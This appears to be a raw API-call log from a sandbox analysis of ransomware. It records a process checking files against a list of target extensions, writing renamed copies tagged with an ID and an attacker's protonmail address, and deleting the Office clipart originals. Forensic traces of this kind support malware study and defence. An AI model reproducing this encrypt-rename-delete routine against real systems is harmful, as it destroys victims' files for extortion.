	[0198.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0198.827] lstrlenW (lpString=".zip") returned 4
	[0198.827] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.828] lstrlenW (lpString=".rar") returned 4
	[0198.828] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.828] lstrlenW (lpString=".bz2") returned 4
	[0198.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.828] lstrlenW (lpString=".7z") returned 3
	[0198.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0198.828] lstrlenW (lpString=".dbf") returned 4
	[0198.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0198.828] lstrlenW (lpString=".1cd") returned 4
	[0198.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0198.828] lstrlenW (lpString=".jpg") returned 4
	[0198.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0198.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0198.828] lstrlenW (lpString=".doc") returned 4
	[0198.828] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.828] lstrlenW (lpString=".docx") returned 5
	[0198.828] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0198.828] lstrlenW (lpString=".pdf") returned 4
	[0198.828] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.828] lstrlenW (lpString=".xls") returned 4
	[0198.828] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.828] lstrlenW (lpString=".xlsx") returned 5
	[0198.828] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0198.828] lstrlenW (lpString=".ppt") returned 4
	[0198.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0198.828] lstrlenW (lpString=".zip") returned 4
	[0198.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.829] lstrlenW (lpString=".rar") returned 4
	[0198.829] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.829] lstrlenW (lpString=".bz2") returned 4
	[0198.829] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.829] lstrlenW (lpString=".7z") returned 3
	[0198.829] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0198.829] lstrlenW (lpString=".dbf") returned 4
	[0198.829] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0198.829] lstrlenW (lpString=".1cd") returned 4
	[0198.829] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0198.829] lstrlenW (lpString=".jpg") returned 4
	[0198.829] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.829] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0198.829] lstrlenW (lpString="J0107500.WMF") returned 12
	[0198.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0198.830] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=4200) returned 1
	[0198.830] CloseHandle (hObject=0x460) returned 1
	[0198.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf")) returned 0x220
	[0198.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0199.021] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.033] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0199.044] GetLastError () returned 0x0
	[0199.044] ReadFile (in: hFile=0x368, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x1068, lpOverlapped=0x0) returned 1
	[0199.046] WriteFile (in: hFile=0x5bc, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x1070, lpOverlapped=0x0) returned 1
	[0199.047] ReadFile (in: hFile=0x368, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.047] WriteFile (in: hFile=0x5bc, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0199.047] SetEndOfFile (hFile=0x5bc) returned 1
	[0199.047] CloseHandle (hObject=0x5bc) returned 1
	[0199.048] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.048] SetEndOfFile (hFile=0x368) returned 1
	[0199.052] CloseHandle (hObject=0x368) returned 1
	[0199.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.053] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf")) returned 1
	[0199.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0199.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0199.054] lstrlenW (lpString=".doc") returned 4
	[0199.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.054] lstrlenW (lpString=".docx") returned 5
	[0199.054] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0199.054] lstrlenW (lpString=".pdf") returned 4
	[0199.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.054] lstrlenW (lpString=".xls") returned 4
	[0199.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.054] lstrlenW (lpString=".xlsx") returned 5
	[0199.054] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0199.054] lstrlenW (lpString=".ppt") returned 4
	[0199.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0199.054] lstrlenW (lpString=".zip") returned 4
	[0199.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.055] lstrlenW (lpString=".rar") returned 4
	[0199.055] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.055] lstrlenW (lpString=".bz2") returned 4
	[0199.055] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.055] lstrlenW (lpString=".7z") returned 3
	[0199.055] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0199.055] lstrlenW (lpString=".dbf") returned 4
	[0199.055] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0199.055] lstrlenW (lpString=".1cd") returned 4
	[0199.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0199.055] lstrlenW (lpString=".jpg") returned 4
	[0199.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0199.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0199.055] lstrlenW (lpString=".doc") returned 4
	[0199.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.056] lstrlenW (lpString=".docx") returned 5
	[0199.056] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0199.056] lstrlenW (lpString=".pdf") returned 4
	[0199.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.056] lstrlenW (lpString=".xls") returned 4
	[0199.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.056] lstrlenW (lpString=".xlsx") returned 5
	[0199.056] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0199.056] lstrlenW (lpString=".ppt") returned 4
	[0199.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0199.056] lstrlenW (lpString=".zip") returned 4
	[0199.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.056] lstrlenW (lpString=".rar") returned 4
	[0199.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.056] lstrlenW (lpString=".bz2") returned 4
	[0199.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.056] lstrlenW (lpString=".7z") returned 3
	[0199.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0199.056] lstrlenW (lpString=".dbf") returned 4
	[0199.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0199.056] lstrlenW (lpString=".1cd") returned 4
	[0199.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0199.056] lstrlenW (lpString=".jpg") returned 4
	[0199.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.057] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0199.057] lstrlenW (lpString="J0107708.WMF") returned 12
	[0199.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0199.059] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=4808) returned 1
	[0199.059] CloseHandle (hObject=0x368) returned 1
	[0199.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf")) returned 0x220
	[0199.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0199.060] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.060] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0199.061] GetLastError () returned 0x0
	[0199.061] ReadFile (in: hFile=0x368, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x12c8, lpOverlapped=0x0) returned 1
	[0199.063] WriteFile (in: hFile=0x5bc, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x12d0, lpOverlapped=0x0) returned 1
	[0199.064] ReadFile (in: hFile=0x368, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.064] WriteFile (in: hFile=0x5bc, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0199.064] SetEndOfFile (hFile=0x5bc) returned 1
	[0199.064] CloseHandle (hObject=0x5bc) returned 1
	[0199.064] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.065] SetEndOfFile (hFile=0x368) returned 1
	[0199.068] CloseHandle (hObject=0x368) returned 1
	[0199.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.068] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf")) returned 1
	[0199.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0199.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0199.069] lstrlenW (lpString=".doc") returned 4
	[0199.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.069] lstrlenW (lpString=".docx") returned 5
	[0199.069] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0199.069] lstrlenW (lpString=".pdf") returned 4
	[0199.069] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.069] lstrlenW (lpString=".xls") returned 4
	[0199.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.070] lstrlenW (lpString=".xlsx") returned 5
	[0199.070] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0199.070] lstrlenW (lpString=".ppt") returned 4
	[0199.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0199.070] lstrlenW (lpString=".zip") returned 4
	[0199.070] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.070] lstrlenW (lpString=".rar") returned 4
	[0199.070] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.070] lstrlenW (lpString=".bz2") returned 4
	[0199.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.070] lstrlenW (lpString=".7z") returned 3
	[0199.070] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0199.070] lstrlenW (lpString=".dbf") returned 4
	[0199.070] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0199.070] lstrlenW (lpString=".1cd") returned 4
	[0199.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0199.071] lstrlenW (lpString=".jpg") returned 4
	[0199.071] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0199.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0199.071] lstrlenW (lpString=".doc") returned 4
	[0199.071] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.071] lstrlenW (lpString=".docx") returned 5
	[0199.071] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0199.071] lstrlenW (lpString=".pdf") returned 4
	[0199.071] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.071] lstrlenW (lpString=".xls") returned 4
	[0199.071] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.072] lstrlenW (lpString=".xlsx") returned 5
	[0199.072] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0199.072] lstrlenW (lpString=".ppt") returned 4
	[0199.072] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0199.072] lstrlenW (lpString=".zip") returned 4
	[0199.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.072] lstrlenW (lpString=".rar") returned 4
	[0199.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.072] lstrlenW (lpString=".bz2") returned 4
	[0199.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.072] lstrlenW (lpString=".7z") returned 3
	[0199.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0199.072] lstrlenW (lpString=".dbf") returned 4
	[0199.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0199.072] lstrlenW (lpString=".1cd") returned 4
	[0199.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0199.072] lstrlenW (lpString=".jpg") returned 4
	[0199.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.072] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0199.072] lstrlenW (lpString="J0107712.WMF") returned 12
	[0199.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0199.073] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=4636) returned 1
	[0199.073] CloseHandle (hObject=0x368) returned 1
	[0199.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf")) returned 0x220
	[0199.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0199.074] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.074] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0199.075] GetLastError () returned 0x0
	[0199.075] ReadFile (in: hFile=0x368, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x121c, lpOverlapped=0x0) returned 1
	[0199.076] WriteFile (in: hFile=0x5bc, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x1220, lpOverlapped=0x0) returned 1
	[0199.077] ReadFile (in: hFile=0x368, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.077] WriteFile (in: hFile=0x5bc, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0199.078] SetEndOfFile (hFile=0x5bc) returned 1
	[0199.078] CloseHandle (hObject=0x5bc) returned 1
	[0199.078] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.078] SetEndOfFile (hFile=0x368) returned 1
	[0199.080] CloseHandle (hObject=0x368) returned 1
	[0199.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.081] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf")) returned 1
	[0199.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0199.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0199.082] lstrlenW (lpString=".doc") returned 4
	[0199.082] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.082] lstrlenW (lpString=".docx") returned 5
	[0199.082] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0199.082] lstrlenW (lpString=".pdf") returned 4
	[0199.082] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.082] lstrlenW (lpString=".xls") returned 4
	[0199.082] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.082] lstrlenW (lpString=".xlsx") returned 5
	[0199.082] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0199.082] lstrlenW (lpString=".ppt") returned 4
	[0199.082] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
